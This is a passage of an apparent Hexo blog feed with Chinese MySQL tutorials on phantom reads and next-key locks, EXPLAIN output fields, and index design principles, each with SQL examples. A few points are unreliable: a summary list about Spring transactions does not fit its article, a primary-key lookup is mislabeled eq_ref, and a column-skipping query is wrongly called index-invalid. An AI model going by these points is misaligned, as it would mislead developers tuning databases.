class="built_in">COUNT</span>(<span class="operator">*</span>) <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> status <span class="operator">=</span> <span class="string">&#x27;PENDING&#x27;</span>; <span class="comment">-- 返回 11（幻读）</span></span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br></pre></td></tr></table></figure><p><strong>事务 B</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">INSERT INTO</span> orders (user_id, status) <span class="keyword">VALUES</span> (<span class="number">1001</span>, <span class="string">&#x27;PENDING&#x27;</span>);</span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br></pre></td></tr></table></figure><p>事务 A 两次查询结果不同，就像出现了幻觉。</p><h2 id="InnoDB-如何解决幻读？"><a href="#InnoDB-如何解决幻读？" class="headerlink" title="InnoDB 如何解决幻读？"></a>InnoDB 如何解决幻读？</h2><p>MySQL 5.1 引入了 <strong>Next-Key Locking</strong>（间隙锁）来解决幻读问题：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 在 REPEATABLE READ 级别下执行</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> status <span class="operator">=</span> <span class="string">&#x27;PENDING&#x27;</span> <span class="keyword">FOR</span> <span class="keyword">UPDATE</span>;</span><br></pre></td></tr></table></figure><p>这条语句会锁住：</p><ol><li>所有符合条件的行（记录锁）</li><li>条件范围内的间隙（间隙锁）</li></ol><p>这样其他事务就无法在这个范围内插入新数据。</p><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p>#</p><h2 id="1-选择合适的隔离级别"><a href="#1-选择合适的隔离级别" class="headerlink" title="1. 选择合适的隔离级别"></a>1. 选择合适的隔离级别</h2><ul><li><strong>默认使用 REPEATABLE READ</strong>：大多数场景足够</li><li><strong>读密集型应用</strong>：可以考虑 READ COMMITTED，提升并发性能</li><li><strong>数据一致性要求极高</strong>：使用 SERIALIZABLE</li></ul><p>#</p><h2 id="2-解决幻读的方案"><a href="#2-解决幻读的方案" class="headerlink" title="2. 解决幻读的方案"></a>2. 解决幻读的方案</h2><p><strong>方案一：使用 FOR UPDATE</strong></p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">FOR</span> <span class="keyword">UPDATE</span>;</span><br></pre></td></tr></table></figure><p><strong>方案二：使用更高隔离级别</strong></p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SET</span> TRANSACTION ISOLATION LEVEL SERIALIZABLE;</span><br></pre></td></tr></table></figure><p><strong>方案三：应用层处理</strong><br>在业务代码中检查数据变化，必要时重试事务。</p><p>#</p><h2 id="3-注意事项"><a href="#3-注意事项" class="headerlink" title="3. 注意事项"></a>3. 注意事项</h2><ul><li>间隙锁可能导致死锁，需要合理设计索引</li><li>高并发场景下，锁等待可能成为性能瓶颈</li><li>分布式事务需要额外考虑一致性问题</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务隔离级别是数据库并发控制的核心。理解不同级别的特点和适用场景，能帮助我们在数据一致性和性能之间找到平衡。实际项目中，我通常使用默认的 REPEATABLE READ 级别，遇到幻读问题时再针对性处理。</p><p>写这篇文章时，我特意做了几个实验验证不同隔离级别的行为。纸上得来终觉浅，动手实践才能真正理解。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL EXPLAIN 执行计划：关键字段详解</title>
      <link href="//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/"/>
      <url>//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL-EXPLAIN-执行计划：关键字段详解"><a href="#MySQL-EXPLAIN-执行计划：关键字段详解" class="headerlink" title="MySQL EXPLAIN 执行计划：关键字段详解"></a>MySQL EXPLAIN 执行计划：关键字段详解</h1><p>SQL 优化不能凭感觉，EXPLAIN 执行计划是最好的帮手。今天就来聊聊执行计划里那些关键字段，帮你快速定位性能问题。</p><h2 id="基本用法"><a href="#基本用法" class="headerlink" title="基本用法"></a>基本用法</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span> </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span> </span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>执行结果会返回一个表格，包含多个字段。下面重点介绍几个关键字段。</p><h2 id="关键字段解读"><a href="#关键字段解读" class="headerlink" title="关键字段解读"></a>关键字段解读</h2><h3 id="1-id：查询序列号"><a href="#1-id：查询序列号" class="headerlink" title="1. id：查询序列号"></a>1. id：查询序列号</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 子查询会有多个 id</span></span><br><span class="line">EXPLAIN </span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="keyword">IN</span> (<span class="keyword">SELECT</span> id <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> status <span class="operator">=</span> <span class="string">&#x27;ACTIVE&#x27;</span>);</span><br></pre></td></tr></table></figure><ul><li><strong>相同 id</strong>：执行顺序由上到下</li><li><strong>不同 id</strong>：id 越大越先执行</li><li><strong>NULL</strong>：表示这是一个结果集</li></ul><h3 id="2-select-type：查询类型"><a href="#2-select-type：查询类型" class="headerlink" title="2. select_type：查询类型"></a>2. select_type：查询类型</h3><table><thead><tr><th>类型</th><th>说明</th></tr></thead><tbody><tr><td><strong>SIMPLE</strong></td><td>简单查询，没有子查询或 UNION</td></tr><tr><td><strong>SUBQUERY</strong></td><td>子查询中的第一个 SELECT</td></tr><tr><td><strong>DERIVED</strong></td><td>派生表（FROM 子句中的子查询）</td></tr><tr><td><strong>UNION</strong></td><td>UNION 中的第二个或后面的 SELECT</td></tr><tr><td><strong>UNION RESULT</strong></td><td>UNION 的结果集</td></tr></tbody></table><h3 id="3-type：访问类型（最重要！）"><a href="#3-type：访问类型（最重要！）" class="headerlink" title="3. type：访问类型（最重要！）"></a>3. type：访问类型（最重要！）</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 从差到好排序</span></span><br><span class="line"><span class="keyword">ALL</span> <span class="operator">&lt;</span> index <span class="operator">&lt;</span> <span class="keyword">range</span> <span class="operator">&lt;</span> <span class="keyword">ref</span> <span class="operator">&lt;</span> eq_ref <span class="operator">&lt;</span> const<span class="operator">/</span><span class="keyword">system</span> <span class="operator">&lt;</span> <span class="keyword">NULL</span></span><br></pre></td></tr></table></figure><ul><li><strong>ALL</strong>：全表扫描，性能最差</li><li><strong>index</strong>：全索引扫描</li><li><strong>range</strong>：索引范围扫描（如 BETWEEN、IN）</li><li><strong>ref</strong>：非唯一索引扫描</li><li><strong>eq_ref</strong>：唯一索引扫描，最多返回一条记录</li><li><strong>const/system</strong>：常量查询，一次就能找到结果</li></ul><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 示例：type = ref</span></span><br><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 示例：type = eq_ref  </span></span><br><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;</span><br></pre></td></tr></table></figure><h3 id="4-key：实际使用的索引"><a href="#4-key：实际使用的索引" class="headerlink" title="4. key：实际使用的索引"></a>4. key：实际使用的索引</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span>;</span><br></pre></td></tr></table></figure><p>如果 <code>key</code> 为 NULL，表示没有使用索引。</p><h3 id="5-key-len：使用的索引长度"><a href="#5-key-len：使用的索引长度" class="headerlink" title="5. key_len：使用的索引长度"></a>5. key_len：使用的索引长度</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 索引长度越短越好</span></span><br><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span>;</span><br></pre></td></tr></table></figure><h3 id="6-rows：预估扫描行数"><a href="#6-rows：预估扫描行数" class="headerlink" title="6. rows：预估扫描行数"></a>6. rows：预估扫描行数</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span>;</span><br></pre></td></tr></table></figure><p>这个值是优化器预估的，实际行数可能不同。</p><h3 id="7-Extra：额外信息"><a href="#7-Extra：额外信息" class="headerlink" title="7. Extra：额外信息"></a>7. Extra：额外信息</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 常见的 Extra 值</span></span><br><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span>;</span><br></pre></td></tr></table></figure><p><strong>重要的 Extra 值</strong>：</p><ul><li><strong>Using index</strong>：覆盖索引，不需要回表</li><li><strong>Using where</strong>：需要在存储引擎之外过滤数据</li><li><strong>Using filesort</strong>：需要额外排序，性能差</li><li><strong>Using temporary</strong>：使用临时表，性能差</li><li><strong>Backward index scan</strong>：反向索引扫描</li></ul><h2 id="实战案例"><a href="#实战案例" class="headerlink" title="实战案例"></a>实战案例</h2><p><strong>问题</strong>：查询性能慢</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 原始查询</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span> </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span> </span><br><span class="line">LIMIT <span class="number">20</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 执行计划显示</span></span><br><span class="line"><span class="comment">-- type: ALL</span></span><br><span class="line"><span class="comment">-- Extra: Using where; Using filesort</span></span><br></pre></td></tr></table></figure><p><strong>优化方案</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 创建索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_status_time <span class="keyword">ON</span> orders(status, created_at <span class="keyword">DESC</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 优化后的执行计划</span></span><br><span class="line"><span class="comment">-- type: range</span></span><br><span class="line"><span class="comment">-- key: idx_status_time</span></span><br><span class="line"><span class="comment">-- Extra: Backward index scan</span></span><br></pre></td></tr></table></figure><h2 id="常见问题排查"><a href="#常见问题排查" class="headerlink" title="常见问题排查"></a>常见问题排查</h2><h3 id="问题-1：type-是-ALL（全表扫描）"><a href="#问题-1：type-是-ALL（全表扫描）" class="headerlink" title="问题 1：type 是 ALL（全表扫描）"></a>问题 1：type 是 ALL（全表扫描）</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 原因：没有合适的索引</span></span><br><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> amount <span class="operator">&gt;</span> <span class="number">100</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 解决方案：创建索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_amount <span class="keyword">ON</span> orders(amount);</span><br></pre></td></tr></table></figure><h3 id="问题-2：Extra-出现-Using-filesort"><a href="#问题-2：Extra-出现-Using-filesort" class="headerlink" title="问题 2：Extra 出现 Using filesort"></a>问题 2：Extra 出现 Using filesort</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 原因：排序字段不在索引中</span></span><br><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">ORDER</span> <span class="keyword">BY</span> amount;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 解决方案：创建包含排序字段的索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_amount <span class="keyword">ON</span> orders(user_id, amount);</span><br></pre></td></tr></table></figure><h3 id="问题-3：Extra-出现-Using-temporary"><a href="#问题-3：Extra-出现-Using-temporary" class="headerlink" title="问题 3：Extra 出现 Using temporary"></a>问题 3：Extra 出现 Using temporary</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 原因：GROUP BY 字段没有索引</span></span><br><span class="line">EXPLAIN <span class="keyword">SELECT</span> user_id, <span class="built_in">COUNT</span>(<span class="operator">*</span>) <span class="keyword">FROM</span> orders <span class="keyword">GROUP</span> <span class="keyword">BY</span> user_id;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 解决方案：创建索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_id <span class="keyword">ON</span> orders(user_id);</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>看执行计划的顺序：</p><ol><li>先看 <code>type</code>，确保不是 ALL 或 index</li><li>再看 <code>key</code>，确认是否使用了正确的索引</li><li>最后看 <code>Extra</code>，避免 filesort 和 temporary</li></ol><p>写这篇文章时，我特意整理了几个线上慢查询的案例。理解执行计划是 SQL 优化的基本功，多分析多实践才能真正掌握。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL 索引设计：核心原则与实战技巧</title>
      <link href="//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/"/>
      <url>//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL-索引设计：核心原则与实战技巧"><a href="#MySQL-索引设计：核心原则与实战技巧" class="headerlink" title="MySQL 索引设计：核心原则与实战技巧"></a>MySQL 索引设计：核心原则与实战技巧</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="原则一：最左前缀原则"><a href="#原则一：最左前缀原则" class="headerlink" title="原则一：最左前缀原则"></a>原则一：最左前缀原则</h2><p>联合索引的最左列必须出现在查询条件中：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 创建联合索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time </span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ✅ 有效：使用了最左列 user_id</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ✅ 有效：使用了 user_id + status</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ✅ 有效：使用了全部三列</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span> <span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ❌ 无效：没有使用最左列</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ❌ 无效：跳过了中间列</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> created_at <span class="operator">&gt;</span> <span class="string">&#x27;2024-01-01&#x27;</span>;</span><br></pre></td></tr></table></figure><h2 id="原则二：选择区分度高的列"><a href="#原则二：选择区分度高的列" class="headerlink" title="原则二：选择区分度高的列"></a>原则二：选择区分度高的列</h2><p>区分度 = 不同值的数量 / 总行数</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- ❌ 区分度低，不适合建索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_status <span class="keyword">ON</span> orders(status); <span class="comment">-- status 只有几种状态</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- ✅ 区分度高，适合建索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_email <span class="keyword">ON</span> users(email); <span class="comment">-- email 几乎唯一</span></span><br></pre></td></tr></table></figure><h2 id="原则三：索引列上避免函数操作"><a href="#原则三：索引列上避免函数操作" class="headerlink" title="原则三：索引列上避免函数操作"></a>原则三：索引列上避免函数操作</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- ❌ 索引失效：在索引列上使用函数</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> <span class="type">DATE</span>(create_time) <span class="operator">=</span> <span class="string">&#x27;2024-01-01&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ✅ 使用索引：条件可以下推</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> create_time <span class="operator">&gt;=</span> <span class="string">&#x27;2024-01-01 00:00:00&#x27;</span> </span><br><span class="line">                       <span class="keyword">AND</span> create_time <span class="operator">&lt;</span> <span class="string">&#x27;2024-01-02 00:00:00&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ❌ 索引失效：隐式类型转换</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="string">&#x27;123&#x27;</span>; <span class="comment">-- id 是整数，查询用字符串</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- ✅ 使用索引：类型一致</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">123</span>;</span><br></pre></td></tr></table></figure><h2 id="原则四：只索引需要的列"><a href="#原则四：只索引需要的列" class="headerlink" title="原则四：只索引需要的列"></a>原则四：只索引需要的列</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- ❌ 覆盖过多列，索引太大</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_all_columns <span class="keyword">ON</span> orders(user_id, status, amount, create_time, ...);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ✅ 只索引需要的列</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status <span class="keyword">ON</span> orders(user_id, status);</span><br></pre></td></tr></table></figure><h2 id="原则五：利用覆盖索引"><a href="#原则五：利用覆盖索引" class="headerlink" title="原则五：利用覆盖索引"></a>原则五：利用覆盖索引</h2><p>如果查询只需要索引中的列，就不需要回表：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 创建覆盖索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_amount <span class="keyword">ON</span> orders(user_id, status, amount);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ✅ 覆盖索引：查询列都在索引中</span></span><br><span class="line"><span class="keyword">SELECT</span> amount <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ❌ 需要回表：查询了不在索引中的列</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span>;</span><br></pre></td></tr></table></figure><h2 id="原则六：合理使用前缀索引"><a href="#原则六：合理使用前缀索引" class="headerlink" title="原则六：合理使用前缀索引"></a>原则六：合理使用前缀索引</h2><p>对于长字符串，可以只索引前几个字符：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- ❌ 索引太大</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_full_name <span class="keyword">ON</span> users(name);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ✅ 使用前缀索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_name_prefix <span class="keyword">ON</span> users(name(<span class="number">10</span>)); <span class="comment">-- 只索引前10个字符</span></span><br></pre></td></tr></table></figure><h2 id="原则七：定期维护索引"><a href="#原则七：定期维护索引" class="headerlink" title="原则七：定期维护索引"></a>原则七：定期维护索引</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看索引使用情况</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> sys.schema_unused_indexes;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 分析索引碎片</span></span><br><span class="line">ANALYZE <span class="keyword">TABLE</span> orders;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 重建索引</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> orders ENGINE<span class="operator">=</span>InnoDB;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 删除无用索引</span></span><br><span class="line"><span class="keyword">DROP</span> INDEX idx_unused <span class="keyword">ON</span> orders;</span><br></pre></td></tr></table></figure><h2 id="常见误区"><a href="#常见误区" class="headerlink" title="常见误区"></a>常见误区</h2><p>#</p><h2 id="误区一：索引越多越好"><a href="#误区一：索引越多越好" class="headerlink" title="误区一：索引越多越好"></a>误区一：索引越多越好</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- ❌ 太多索引会影响写入性能</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_id <span class="keyword">ON</span> orders(user_id);</span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_status <span class="keyword">ON</span> orders(status);</span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_create_time <span class="keyword">ON</span> orders(create_time);</span><br><span class="line"><span class="comment">-- ... 更多索引</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- ✅ 按需创建索引，优先使用联合索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time <span class="keyword">ON</span> orders(user_id, status, create_time);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="误区二：对所有查询都建索引"><a href="#误区二：对所有查询都建索引" class="headerlink" title="误区二：对所有查询都建索引"></a>误区二：对所有查询都建索引</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- ❌ 对于不常执行的查询，没必要建索引</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> amount <span class="operator">&gt;</span> <span class="number">10000</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;REFUNDED&#x27;</span>; <span class="comment">-- 很少执行</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- ✅ 只为常用查询建索引</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> user_id <span class="operator">=</span> ? <span class="keyword">AND</span> status <span class="operator">=</span> ?; <span class="comment">-- 高频查询</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="误区三：忽略排序和分组"><a href="#误区三：忽略排序和分组" class="headerlink" title="误区三：忽略排序和分组"></a>误区三：忽略排序和分组</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- ❌ 排序导致文件排序</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">ORDER</span> <span class="keyword">BY</span> create_time;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ✅ 索引包含排序字段</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_time <span class="keyword">ON</span> orders(user_id, create_time);</span><br></pre></td></tr></table></figure><h2 id="实战案例"><a href="#实战案例" class="headerlink" title="实战案例"></a>实战案例</h2><p><strong>场景</strong>：优化订单列表查询</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 原始查询</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span> </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> create_time <span class="keyword">DESC</span> </span><br><span class="line">LIMIT <span class="number">20</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 创建合适的索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time <span class="keyword">ON</span> orders(user_id, status, create_time <span class="keyword">DESC</span>);</span><br></pre></td></tr></table></figure><p><strong>验证</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span> </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> create_time <span class="keyword">DESC</span> </span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>查看执行计划：</p><ul><li><code>type</code>：ref（非唯一索引扫描）</li><li><code>key</code>：idx_user_status_time（命中索引）</li><li><code>Extra</code>：Using index condition; Backward index scan（使用索引条件和反向扫描）</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>索引设计需要综合考虑：</p><ol><li>查询模式：哪些查询是高频的</li><li>数据分布：区分度、数据量</li><li>读写比例：写多的表不宜建太多索引</li><li>维护成本：定期分析和重建索引</li></ol><p>写这篇文章时，我特意翻了几个项目的数据库设计，发现很多索引都是冗余的。合理的索引设计能显著提升查询性能，但过度索引反而会影响写入性能。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 